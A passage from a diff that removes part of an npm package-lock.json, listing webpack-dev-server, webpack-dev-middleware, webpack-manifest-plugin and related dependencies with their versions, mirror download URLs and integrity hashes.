-              "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
-              "requires": {
-                "is-extendable": "^0.1.0"
-              }
-            }
-          }
-        },
-        "is-number": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npm.taobao.org/is-number/download/is-number-3.0.0.tgz",
-          "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=",
-          "requires": {
-            "kind-of": "^3.0.2"
-          },
-          "dependencies": {
-            "kind-of": {
-              "version": "3.2.2",
-              "resolved": "https://registry.npm.taobao.org/kind-of/download/kind-of-3.2.2.tgz",
-              "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
-              "requires": {
-                "is-buffer": "^1.1.5"
-              }
-            }
-          }
-        },
-        "is-wsl": {
-          "version": "1.1.0",
-          "resolved": "https://registry.npm.taobao.org/is-wsl/download/is-wsl-1.1.0.tgz",
-          "integrity": "sha1-HxbkqiKwTRM2tmGIpmrzxgDDpm0="
-        },
-        "json5": {
-          "version": "1.0.1",
-          "resolved": "https://registry.npm.taobao.org/json5/download/json5-1.0.1.tgz",
-          "integrity": "sha1-d5+wAYYE+oVOrL9iUhgNg1Q+Pb4=",
-          "requires": {
-            "minimist": "^1.2.0"
-          }
-        },
-        "loader-utils": {
-          "version": "1.4.0",
-          "resolved": "https://registry.npm.taobao.org/loader-utils/download/loader-utils-1.4.0.tgz",
-          "integrity": "sha1-xXm140yzSxp07cbB+za/o3HVphM=",
-          "requires": {
-            "big.js": "^5.2.2",
-            "emojis-list": "^3.0.0",
-            "json5": "^1.0.1"
-          }
-        },
-        "lru-cache": {
-          "version": "5.1.1",
-          "resolved": "https://registry.npm.taobao.org/lru-cache/download/lru-cache-5.1.1.tgz",
-          "integrity": "sha1-HaJ+ZxAnGUdpXa9oSOhH8B2EuSA=",
-          "requires": {
-            "yallist": "^3.0.2"
-          }
-        },
-        "micromatch": {
-          "version": "3.1.10",
-          "resolved": "https://registry.npm.taobao.org/micromatch/download/micromatch-3.1.10.tgz?cache=0&sync_timestamp=1618054841521&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fmicromatch%2Fdownload%2Fmicromatch-3.1.10.tgz",
-          "integrity": "sha1-cIWbyVyYQJUvNZoGij/En57PrCM=",
-          "requires": {
-            "arr-diff": "^4.0.0",
-            "array-unique": "^0.3.2",
-            "braces": "^2.3.1",
-            "define-property": "^2.0.2",
-            "extend-shallow": "^3.0.2",
-            "extglob": "^2.0.4",
-            "fragment-cache": "^0.2.1",
-            "kind-of": "^6.0.2",
-            "nanomatch": "^1.2.9",
-            "object.pick": "^1.3.0",
-            "regex-not": "^1.0.0",
-            "snapdragon": "^0.8.1",
-            "to-regex": "^3.0.2"
-          }
-        },
-        "rimraf": {
-          "version": "2.7.1",
-          "resolved": "https://registry.npm.taobao.org/rimraf/download/rimraf-2.7.1.tgz",
-          "integrity": "sha1-NXl/E6f9rcVmFCwp1PB8ytSD4+w=",
-          "requires": {
-            "glob": "^7.1.3"
-          }
-        },
-        "schema-utils": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npm.taobao.org/schema-utils/download/schema-utils-1.0.0.tgz",
-          "integrity": "sha1-C3mpMgTXtgDUsoUNH2bCo0lRx3A=",
-          "requires": {
-            "ajv": "^6.1.0",
-            "ajv-errors": "^1.0.0",
-            "ajv-keywords": "^3.1.0"
-          }
-        },
-        "serialize-javascript": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npm.taobao.org/serialize-javascript/download/serialize-javascript-4.0.0.tgz",
-          "integrity": "sha1-tSXhI4SJpez8Qq+sw/6Z5mb0sao=",
-          "requires": {
-            "randombytes": "^2.1.0"
-          }
-        },
-        "ssri": {
-          "version": "6.0.2",
-          "resolved": "https://registry.nlark.com/ssri/download/ssri-6.0.2.tgz?cache=0&sync_timestamp=1621364918494&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fssri%2Fdownload%2Fssri-6.0.2.tgz",
-          "integrity": "sha1-FXk5E08gRk5zAd26PpD/qPdyisU=",
-          "requires": {
-            "figgy-pudding": "^3.5.1"
-          }
-        },
-        "terser-webpack-plugin": {
-          "version": "1.4.5",
-          "resolved": "https://registry.nlark.com/terser-webpack-plugin/download/terser-webpack-plugin-1.4.5.tgz?cache=0&sync_timestamp=1622475814720&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fterser-webpack-plugin%2Fdownload%2Fterser-webpack-plugin-1.4.5.tgz",
-          "integrity": "sha1-oheu+uozDnNP+sthIOwfoxLWBAs=",
-          "requires": {
-            "cacache": "^12.0.2",
-            "find-cache-dir": "^2.1.0",
-            "is-wsl": "^1.1.0",
-            "schema-utils": "^1.0.0",
-            "serialize-javascript": "^4.0.0",
-            "source-map": "^0.6.1",
-            "terser": "^4.1.2",
-            "webpack-sources": "^1.4.0",
-            "worker-farm": "^1.7.0"
-          }
-        },
-        "to-regex-range": {
-          "version": "2.1.1",
-          "resolved": "https://registry.npm.taobao.org/to-regex-range/download/to-regex-range-2.1.1.tgz",
-          "integrity": "sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=",
-          "requires": {
-            "is-number": "^3.0.0",
-            "repeat-string": "^1.6.1"
-          }
-        },
-        "yallist": {
-          "version": "3.1.1",
-          "resolved": "https://registry.nlark.com/yallist/download/yallist-3.1.1.tgz",
-          "integrity": "sha1-27fa+b/YusmrRev2ArjLrQ1dCP0="
-        }
-      }
-    },
-    "webpack-dev-middleware": {
-      "version": "3.7.3",
-      "resolved": "https://registry.nlark.com/webpack-dev-middleware/download/webpack-dev-middleware-3.7.3.tgz?cache=0&sync_timestamp=1622642057023&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fwebpack-dev-middleware%2Fdownload%2Fwebpack-dev-middleware-3.7.3.tgz",
-      "integrity": "sha1-Bjk3KxQyYuK4SrldO5GnWXBhwsU=",
-      "requires": {
-        "memory-fs": "^0.4.1",
-        "mime": "^2.4.4",
-        "mkdirp": "^0.5.1",
-        "range-parser": "^1.2.1",
-        "webpack-log": "^2.0.0"
-      },
-      "dependencies": {
-        "mime": {
-          "version": "2.5.2",
-          "resolved": "https://registry.npm.taobao.org/mime/download/mime-2.5.2.tgz",
-          "integrity": "sha1-bj3GzCuVEGQ4MOXxnVy3U9pe6r4="
-        }
-      }
-    },
-    "webpack-dev-server": {
-      "version": "3.11.1",
-      "resolved": "https://registry.nlark.com/webpack-dev-server/download/webpack-dev-server-3.11.1.tgz?cache=0&sync_timestamp=1620307436096&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fwebpack-dev-server%2Fdownload%2Fwebpack-dev-server-3.11.1.tgz",
-      "integrity": "sha1-x0Aov1uoiFqvIw5Iog6JNquFEfA=",
-      "requires": {
-        "ansi-html": "0.0.7",
-        "bonjour": "^3.5.0",
-        "chokidar": "^2.1.8",
-        "compression": "^1.7.4",
-        "connect-history-api-fallback": "^1.6.0",
-        "debug": "^4.1.1",
-        "del": "^4.1.1",
-        "express": "^4.17.1",
-        "html-entities": "^1.3.1",
-        "http-proxy-middleware": "0.19.1",
-        "import-local": "^2.0.0",
-        "internal-ip": "^4.3.0",
-        "ip": "^1.1.5",
-        "is-absolute-url": "^3.0.3",
-        "killable": "^1.0.1",
-        "loglevel": "^1.6.8",
-        "opn": "^5.5.0",
-        "p-retry": "^3.0.1",
-        "portfinder": "^1.0.26",
-        "schema-utils": "^1.0.0",
-        "selfsigned": "^1.10.8",
-        "semver": "^6.3.0",
-        "serve-index": "^1.9.1",
-        "sockjs": "^0.3.21",
-        "sockjs-client": "^1.5.0",
-        "spdy": "^4.0.2",
-        "strip-ansi": "^3.0.1",
-        "supports-color": "^6.1.0",
-        "url": "^0.11.0",
-        "webpack-dev-middleware": "^3.7.2",
-        "webpack-log": "^2.0.0",
-        "ws": "^6.2.1",
-        "yargs": "^13.3.2"
-      },
-      "dependencies": {
-        "ansi-regex": {
-          "version": "2.1.1",
-          "resolved": "https://registry.npm.taobao.org/ansi-regex/download/ansi-regex-2.1.1.tgz",
-          "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8="
-        },
-        "ansi-styles": {
-          "version": "3.2.1",
-          "resolved": "https://registry.nlark.com/ansi-styles/download/ansi-styles-3.2.1.tgz",
-          "integrity": "sha1-QfuyAkPlCxK+DwS43tvwdSDOhB0=",
-          "requires": {
-            "color-convert": "^1.9.0"
-          }
-        },
-        "anymatch": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/anymatch/download/anymatch-2.0.0.tgz?cache=0&sync_timestamp=1617747502795&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fanymatch%2Fdownload%2Fanymatch-2.0.0.tgz",
-          "integrity": "sha1-vLJLTzeTTZqnrBe0ra+J58du8us=",
-          "requires": {
-            "micromatch": "^3.1.4",
-            "normalize-path": "^2.1.1"
-          },
-          "dependencies": {
-            "normalize-path": {
-              "version": "2.1.1",
-              "resolved": "https://registry.npm.taobao.org/normalize-path/download/normalize-path-2.1.1.tgz",
-              "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=",
-              "requires": {
-                "remove-trailing-separator": "^1.0.1"
-              }
-            }
-          }
-        },
-        "binary-extensions": {
-          "version": "1.13.1",
-          "resolved": "https://registry.npm.taobao.org/binary-extensions/download/binary-extensions-1.13.1.tgz",
-          "integrity": "sha1-WYr+VHVbKGilMw0q/51Ou1Mgm2U="
-        },
-        "braces": {
-          "version": "2.3.2",
-          "resolved": "https://registry.npm.taobao.org/braces/download/braces-2.3.2.tgz",
-          "integrity": "sha1-WXn9PxTNUxVl5fot8av/8d+u5yk=",
-          "requires": {
-            "arr-flatten": "^1.1.0",
-            "array-unique": "^0.3.2",
-            "extend-shallow": "^2.0.1",
-            "fill-range": "^4.0.0",
-            "isobject": "^3.0.1",
-            "repeat-element": "^1.1.2",
-            "snapdragon": "^0.8.1",
-            "snapdragon-node": "^2.0.1",
-            "split-string": "^3.0.2",
-            "to-regex": "^3.0.1"
-          },
-          "dependencies": {
-            "extend-shallow": {
-              "version": "2.0.1",
-              "resolved": "https://registry.npm.taobao.org/extend-shallow/download/extend-shallow-2.0.1.tgz",
-              "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
-              "requires": {
-                "is-extendable": "^0.1.0"
-              }
-            }
-          }
-        },
-        "camelcase": {
-          "version": "5.3.1",
-          "resolved": "https://registry.npm.taobao.org/camelcase/download/camelcase-5.3.1.tgz?cache=0&sync_timestamp=1603921799543&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fcamelcase%2Fdownload%2Fcamelcase-5.3.1.tgz",
-          "integrity": "sha1-48mzFWnhBoEd8kL3FXJaH0xJQyA="
-        },
-        "chokidar": {
-          "version": "2.1.8",
-          "resolved": "https://registry.npm.taobao.org/chokidar/download/chokidar-2.1.8.tgz?cache=0&sync_timestamp=1610719375974&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fchokidar%2Fdownload%2Fchokidar-2.1.8.tgz",
-          "integrity": "sha1-gEs6e2qZNYw8XGHnHYco8EHP+Rc=",
-          "requires": {
-            "anymatch": "^2.0.0",
-            "async-each": "^1.0.1",
-            "braces": "^2.3.2",
-            "fsevents": "^1.2.7",
-            "glob-parent": "^3.1.0",
-            "inherits": "^2.0.3",
-            "is-binary-path": "^1.0.0",
-            "is-glob": "^4.0.0",
-            "normalize-path": "^3.0.0",
-            "path-is-absolute": "^1.0.0",
-            "readdirp": "^2.2.1",
-            "upath": "^1.1.1"
-          }
-        },
-        "cliui": {
-          "version": "5.0.0",
-          "resolved": "https://registry.npm.taobao.org/cliui/download/cliui-5.0.0.tgz",
-          "integrity": "sha1-3u/P2y6AB4SqNPRvoI4GhRx7u8U=",
-          "requires": {
-            "string-width": "^3.1.0",
-            "strip-ansi": "^5.2.0",
-            "wrap-ansi": "^5.1.0"
-          },
-          "dependencies": {
-            "ansi-regex": {
-              "version": "4.1.0",
-              "resolved": "https://registry.npm.taobao.org/ansi-regex/download/ansi-regex-4.1.0.tgz",
-              "integrity": "sha1-i5+PCM8ay4Q3Vqg5yox+MWjFGZc="
-            },
-            "strip-ansi": {
-              "version": "5.2.0",
-              "resolved": "https://registry.npm.taobao.org/strip-ansi/download/strip-ansi-5.2.0.tgz?cache=0&sync_timestamp=1618553388833&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fstrip-ansi%2Fdownload%2Fstrip-ansi-5.2.0.tgz",
-              "integrity": "sha1-jJpTb+tq/JYr36WxBKUJHBrZwK4=",
-              "requires": {
-                "ansi-regex": "^4.1.0"
-              }
-            }
-          }
-        },
-        "emoji-regex": {
-          "version": "7.0.3",
-          "resolved": "https://registry.npm.taobao.org/emoji-regex/download/emoji-regex-7.0.3.tgz?cache=0&sync_timestamp=1614682725186&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Femoji-regex%2Fdownload%2Femoji-regex-7.0.3.tgz",
-          "integrity": "sha1-kzoEBShgyF6DwSJHnEdIqOTHIVY="
-        },
-        "fill-range": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npm.taobao.org/fill-range/download/fill-range-4.0.0.tgz",
-          "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=",
-          "requires": {
-            "extend-shallow": "^2.0.1",
-            "is-number": "^3.0.0",
-            "repeat-string": "^1.6.1",
-            "to-regex-range": "^2.1.0"
-          },
-          "dependencies": {
-            "extend-shallow": {
-              "version": "2.0.1",
-              "resolved": "https://registry.npm.taobao.org/extend-shallow/download/extend-shallow-2.0.1.tgz",
-              "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
-              "requires": {
-                "is-extendable": "^0.1.0"
-              }
-            }
-          }
-        },
-        "find-up": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npm.taobao.org/find-up/download/find-up-3.0.0.tgz",
-          "integrity": "sha1-SRafHXmTQwZG2mHsxa41XCHJe3M=",
-          "requires": {
-            "locate-path": "^3.0.0"
-          }
-        },
-        "fsevents": {
-          "version": "1.2.13",
-          "resolved": "https://registry.npm.taobao.org/fsevents/download/fsevents-1.2.13.tgz",
-          "integrity": "sha1-8yXLBFVZJCi88Rs4M3DvcOO/zDg=",
-          "optional": true,
-          "requires": {
-            "bindings": "^1.5.0",
-            "nan": "^2.12.1"
-          }
-        },
-        "glob-parent": {
-          "version": "3.1.0",
-          "resolved": "https://registry.nlark.com/glob-parent/download/glob-parent-3.1.0.tgz?cache=0&sync_timestamp=1620073438189&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fglob-parent%2Fdownload%2Fglob-parent-3.1.0.tgz",
-          "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=",
-          "requires": {
-            "is-glob": "^3.1.0",
-            "path-dirname": "^1.0.0"
-          },
-          "dependencies": {
-            "is-glob": {
-              "version": "3.1.0",
-              "resolved": "https://registry.npm.taobao.org/is-glob/download/is-glob-3.1.0.tgz",
-              "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=",
-              "requires": {
-                "is-extglob": "^2.1.0"
-              }
-            }
-          }
-        },
-        "import-local": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/import-local/download/import-local-2.0.0.tgz",
-          "integrity": "sha1-VQcL44pZk88Y72236WH1vuXFoJ0=",
-          "requires": {
-            "pkg-dir": "^3.0.0",
-            "resolve-cwd": "^2.0.0"
-          }
-        },
-        "is-absolute-url": {
-          "version": "3.0.3",
-          "resolved": "https://registry.npm.taobao.org/is-absolute-url/download/is-absolute-url-3.0.3.tgz",
-          "integrity": "sha1-lsaiK2ojkpsR6gr7GDbDatSl1pg="
-        },
-        "is-binary-path": {
-          "version": "1.0.1",
-          "resolved": "https://registry.npm.taobao.org/is-binary-path/download/is-binary-path-1.0.1.tgz",
-          "integrity": "sha1-dfFmQrSA8YenEcgUFh/TpKdlWJg=",
-          "requires": {
-            "binary-extensions": "^1.0.0"
-          }
-        },
-        "is-fullwidth-code-point": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/is-fullwidth-code-point/download/is-fullwidth-code-point-2.0.0.tgz",
-          "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8="
-        },
-        "is-number": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npm.taobao.org/is-number/download/is-number-3.0.0.tgz",
-          "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=",
-          "requires": {
-            "kind-of": "^3.0.2"
-          },
-          "dependencies": {
-            "kind-of": {
-              "version": "3.2.2",
-              "resolved": "https://registry.npm.taobao.org/kind-of/download/kind-of-3.2.2.tgz",
-              "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
-              "requires": {
-                "is-buffer": "^1.1.5"
-              }
-            }
-          }
-        },
-        "locate-path": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npm.taobao.org/locate-path/download/locate-path-3.0.0.tgz",
-          "integrity": "sha1-2+w7OrdZdYBxtY/ln8QYca8hQA4=",
-          "requires": {
-            "p-locate": "^3.0.0",
-            "path-exists": "^3.0.0"
-          }
-        },
-        "micromatch": {
-          "version": "3.1.10",
-          "resolved": "https://registry.npm.taobao.org/micromatch/download/micromatch-3.1.10.tgz?cache=0&sync_timestamp=1618054841521&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fmicromatch%2Fdownload%2Fmicromatch-3.1.10.tgz",
-          "integrity": "sha1-cIWbyVyYQJUvNZoGij/En57PrCM=",
-          "requires": {
-            "arr-diff": "^4.0.0",
-            "array-unique": "^0.3.2",
-            "braces": "^2.3.1",
-            "define-property": "^2.0.2",
-            "extend-shallow": "^3.0.2",
-            "extglob": "^2.0.4",
-            "fragment-cache": "^0.2.1",
-            "kind-of": "^6.0.2",
-            "nanomatch": "^1.2.9",
-            "object.pick": "^1.3.0",
-            "regex-not": "^1.0.0",
-            "snapdragon": "^0.8.1",
-            "to-regex": "^3.0.2"
-          }
-        },
-        "p-locate": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npm.taobao.org/p-locate/download/p-locate-3.0.0.tgz",
-          "integrity": "sha1-Mi1poFwCZLJZl9n0DNiokasAZKQ=",
-          "requires": {
-            "p-limit": "^2.0.0"
-          }
-        },
-        "path-exists": {
-          "version": "3.0.0",
-          "resolved": "https://registry.nlark.com/path-exists/download/path-exists-3.0.0.tgz",
-          "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU="
-        },
-        "readable-stream": {
-          "version": "2.3.7",
-          "resolved": "https://registry.npm.taobao.org/readable-stream/download/readable-stream-2.3.7.tgz",
-          "integrity": "sha1-Hsoc9xGu+BTAT2IlKjamL2yyO1c=",
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.3",
-            "isarray": "~1.0.0",
-            "process-nextick-args": "~2.0.0",
-            "safe-buffer": "~5.1.1",
-            "string_decoder": "~1.1.1",
-            "util-deprecate": "~1.0.1"
-          }
-        },
-        "readdirp": {
-          "version": "2.2.1",
-          "resolved": "https://registry.npm.taobao.org/readdirp/download/readdirp-2.2.1.tgz?cache=0&sync_timestamp=1615717369278&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Freaddirp%2Fdownload%2Freaddirp-2.2.1.tgz",
-          "integrity": "sha1-DodiKjMlqjPokihcr4tOhGUppSU=",
-          "requires": {
-            "graceful-fs": "^4.1.11",
-            "micromatch": "^3.1.10",
-            "readable-stream": "^2.0.2"
-          }
-        },
-        "resolve-cwd": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/resolve-cwd/download/resolve-cwd-2.0.0.tgz",
-          "integrity": "sha1-AKn3OHVW4nA46uIyyqNypqWbZlo=",
-          "requires": {
-            "resolve-from": "^3.0.0"
-          }
-        },
-        "resolve-from": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npm.taobao.org/resolve-from/download/resolve-from-3.0.0.tgz",
-          "integrity": "sha1-six699nWiBvItuZTM17rywoYh0g="
-        },
-        "schema-utils": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npm.taobao.org/schema-utils/download/schema-utils-1.0.0.tgz",
-          "integrity": "sha1-C3mpMgTXtgDUsoUNH2bCo0lRx3A=",
-          "requires": {
-            "ajv": "^6.1.0",
-            "ajv-errors": "^1.0.0",
-            "ajv-keywords": "^3.1.0"
-          }
-        },
-        "semver": {
-          "version": "6.3.0",
-          "resolved": "https://registry.nlark.com/semver/download/semver-6.3.0.tgz?cache=0&sync_timestamp=1618847017123&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsemver%2Fdownload%2Fsemver-6.3.0.tgz",
-          "integrity": "sha1-7gpkyK9ejO6mdoexM3YeG+y9HT0="
-        },
-        "string-width": {
-          "version": "3.1.0",
-          "resolved": "https://registry.npm.taobao.org/string-width/download/string-width-3.1.0.tgz?cache=0&sync_timestamp=1618558821529&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fstring-width%2Fdownload%2Fstring-width-3.1.0.tgz",
-          "integrity": "sha1-InZ74htirxCBV0MG9prFG2IgOWE=",
-          "requires": {
-            "emoji-regex": "^7.0.1",
-            "is-fullwidth-code-point": "^2.0.0",
-            "strip-ansi": "^5.1.0"
-          },
-          "dependencies": {
-            "ansi-regex": {
-              "version": "4.1.0",
-              "resolved": "https://registry.npm.taobao.org/ansi-regex/download/ansi-regex-4.1.0.tgz",
-              "integrity": "sha1-i5+PCM8ay4Q3Vqg5yox+MWjFGZc="
-            },
-            "strip-ansi": {
-              "version": "5.2.0",
-              "resolved": "https://registry.npm.taobao.org/strip-ansi/download/strip-ansi-5.2.0.tgz?cache=0&sync_timestamp=1618553388833&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fstrip-ansi%2Fdownload%2Fstrip-ansi-5.2.0.tgz",
-              "integrity": "sha1-jJpTb+tq/JYr36WxBKUJHBrZwK4=",
-              "requires": {
-                "ansi-regex": "^4.1.0"
-              }
-            }
-          }
-        },
-        "string_decoder": {
-          "version": "1.1.1",
-          "resolved": "https://registry.npm.taobao.org/string_decoder/download/string_decoder-1.1.1.tgz",
-          "integrity": "sha1-nPFhG6YmhdcDCunkujQUnDrwP8g=",
-          "requires": {
-            "safe-buffer": "~5.1.0"
-          }
-        },
-        "strip-ansi": {
-          "version": "3.0.1",
-          "resolved": "https://registry.npm.taobao.org/strip-ansi/download/strip-ansi-3.0.1.tgz?cache=0&sync_timestamp=1618553388833&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fstrip-ansi%2Fdownload%2Fstrip-ansi-3.0.1.tgz",
-          "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=",
-          "requires": {
-            "ansi-regex": "^2.0.0"
-          }
-        },
-        "supports-color": {
-          "version": "6.1.0",
-          "resolved": "https://registry.nlark.com/supports-color/download/supports-color-6.1.0.tgz?cache=0&sync_timestamp=1622293630895&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsupports-color%2Fdownload%2Fsupports-color-6.1.0.tgz",
-          "integrity": "sha1-B2Srxpxj1ayELdSGfo0CXogN+PM=",
-          "requires": {
-            "has-flag": "^3.0.0"
-          }
-        },
-        "to-regex-range": {
-          "version": "2.1.1",
-          "resolved": "https://registry.npm.taobao.org/to-regex-range/download/to-regex-range-2.1.1.tgz",
-          "integrity": "sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=",
-          "requires": {
-            "is-number": "^3.0.0",
-            "repeat-string": "^1.6.1"
-          }
-        },
-        "wrap-ansi": {
-          "version": "5.1.0",
-          "resolved": "https://registry.npm.taobao.org/wrap-ansi/download/wrap-ansi-5.1.0.tgz",
-          "integrity": "sha1-H9H2cjXVttD+54EFYAG/tpTAOwk=",
-          "requires": {
-            "ansi-styles": "^3.2.0",
-            "string-width": "^3.0.0",
-            "strip-ansi": "^5.0.0"
-          },
-          "dependencies": {
-            "ansi-regex": {
-              "version": "4.1.0",
-              "resolved": "https://registry.npm.taobao.org/ansi-regex/download/ansi-regex-4.1.0.tgz",
-              "integrity": "sha1-i5+PCM8ay4Q3Vqg5yox+MWjFGZc="
-            },
-            "strip-ansi": {
-              "version": "5.2.0",
-              "resolved": "https://registry.npm.taobao.org/strip-ansi/download/strip-ansi-5.2.0.tgz?cache=0&sync_timestamp=1618553388833&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fstrip-ansi%2Fdownload%2Fstrip-ansi-5.2.0.tgz",
-              "integrity": "sha1-jJpTb+tq/JYr36WxBKUJHBrZwK4=",
-              "requires": {
-                "ansi-regex": "^4.1.0"
-              }
-            }
-          }
-        },
-        "ws": {
-          "version": "6.2.2",
-          "resolved": "https://registry.nlark.com/ws/download/ws-6.2.2.tgz?cache=0&sync_timestamp=1622572542898&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fws%2Fdownload%2Fws-6.2.2.tgz",
-          "integrity": "sha1-3Vzb1XqZeZFgl2UtePHMX66gwy4=",
-          "requires": {
-            "async-limiter": "~1.0.0"
-          }
-        },
-        "yargs": {
-          "version": "13.3.2",
-          "resolved": "https://registry.nlark.com/yargs/download/yargs-13.3.2.tgz",
-          "integrity": "sha1-rX/+/sGqWVZayRX4Lcyzipwxot0=",
-          "requires": {
-            "cliui": "^5.0.0",
-            "find-up": "^3.0.0",
-            "get-caller-file": "^2.0.1",
-            "require-directory": "^2.1.1",
-            "require-main-filename": "^2.0.0",
-            "set-blocking": "^2.0.0",
-            "string-width": "^3.0.0",
-            "which-module": "^2.0.0",
-            "y18n": "^4.0.0",
-            "yargs-parser": "^13.1.2"
-          }
-        },
-        "yargs-parser": {
-          "version": "13.1.2",
-          "resolved": "https://registry.npm.taobao.org/yargs-parser/download/yargs-parser-13.1.2.tgz",
-          "integrity": "sha1-Ew8JcC667vJlDVTObj5XBvek+zg=",
-          "requires": {
-            "camelcase": "^5.0.0",
-            "decamelize": "^1.2.0"
-          }
-        }
-      }
-    },
-    "webpack-log": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/webpack-log/download/webpack-log-2.0.0.tgz?cache=0&sync_timestamp=1615477439589&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fwebpack-log%2Fdownload%2Fwebpack-log-2.0.0.tgz",
-      "integrity": "sha1-W3ko4GN1k/EZ0y9iJ8HgrDHhtH8=",
-      "requires": {
-        "ansi-colors": "^3.0.0",
-        "uuid": "^3.3.2"
-      },
-      "dependencies": {
-        "ansi-colors": {
-          "version": "3.2.4",
-          "resolved": "https://registry.npm.taobao.org/ansi-colors/download/ansi-colors-3.2.4.tgz",
-          "integrity": "sha1-46PaS/uubIapwoViXeEkojQCb78="
-        },
-        "uuid": {
-          "version": "3.4.0",
-          "resolved": "https://registry.nlark.com/uuid/download/uuid-3.4.0.tgz",
-          "integrity": "sha1-sj5DWK+oogL+ehAK8fX4g/AgB+4="
-        }
-      }
-    },
-    "webpack-manifest-plugin": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npm.taobao.org/webpack-manifest-plugin/download/webpack-manifest-plugin-2.2.0.tgz?cache=0&sync_timestamp=1617285943443&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fwebpack-manifest-plugin%2Fdownload%2Fwebpack-manifest-plugin-2.2.0.tgz",
-      "integrity": "sha1-GcpptDWwuux+KfvpD7QBXeLeTxY=",
-      "requires": {
-        "fs-extra": "^7.0.0",
-        "lodash": ">=3.5 <5",
-        "object.entries": "^1.1.0",
-        "tapable": "^1.0.0"
-      },
-      "dependencies": {
-        "fs-extra": {
-          "version": "7.0.1",
-          "resolved": "https://registry.nlark.com/fs-extra/download/fs-extra-7.0.1.tgz",
-          "integrity": "sha1-TxicRKoSO4lfcigE9V6iPq3DSOk=",
-          "requires": {
-            "graceful-fs": "^4.1.2",
-            "jsonfile": "^4.0.0",
-            "universalify": "^0.1.0"
-          }
-        },
-        "jsonfile": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npm.taobao.org/jsonfile/download/jsonfile-4.0.0.tgz?cache=0&sync_timestamp=1604161822397&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fjsonfile%2Fdownload%2Fjsonfile-4.0.0.tgz",
-          "integrity": "sha1-h3Gq4HmbZAdrdmQPygWPnBDjPss=",
-          "requires": {
-            "graceful-fs": "^4.1.6"
-          }
-        },
-        "universalify": {
-          "version": "0.1.2",
-          "resolved": "https://registry.nlark.com/universalify/download/universalify-0.1.2.tgz",
-          "integrity": "sha1-tkb2m+OULavOzJ1mOcgNwQXvqmY="
-        }
-      }
-    },
-    "webpack-sources": {
-      "version": "1.4.3",
-      "resolved": "https://registry.nlark.com/webpack-sources/download/webpack-sources-1.4.3.tgz?cache=0&sync_timestamp=1622110410694&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fwebpack-sources%2Fdownload%2Fwebpack-sources-1.4.3.tgz",
-      "integrity": "sha1-7t2OwLko+/HL/plOItLYkPMwqTM=",
-      "requires": {
-        "source-list-map": "^2.0.0",
-        "source-map": "~0.6.1"
-      }
-    },
-    "websocket-driver": {
-      "version": "0.7.4",
-      "resolved": "https://registry.npm.taobao.org/websocket-driver/download/websocket-driver-0.7.4.tgz",
-      "integrity": "sha1-ia1Slbv2S0gKvLox5JU6ynBvV2A=",
-      "requires": {
-        "http-parser-js": ">=0.5.1",
-        "safe-buffer": ">=5.1.0",
-        "websocket-extensions": ">=0.1.1"
-      }
-    },
-    "websocket-extensions": {
-      "version": "0.1.4",
-      "resolved": "https://registry.npm.taobao.org/websocket-extensions/download/websocket-extensions-0.1.4.tgz",
-      "integrity": "sha1-f4RzvIOd/YdgituV1+sHUhFXikI="
-    },
-    "whatwg-encoding": {
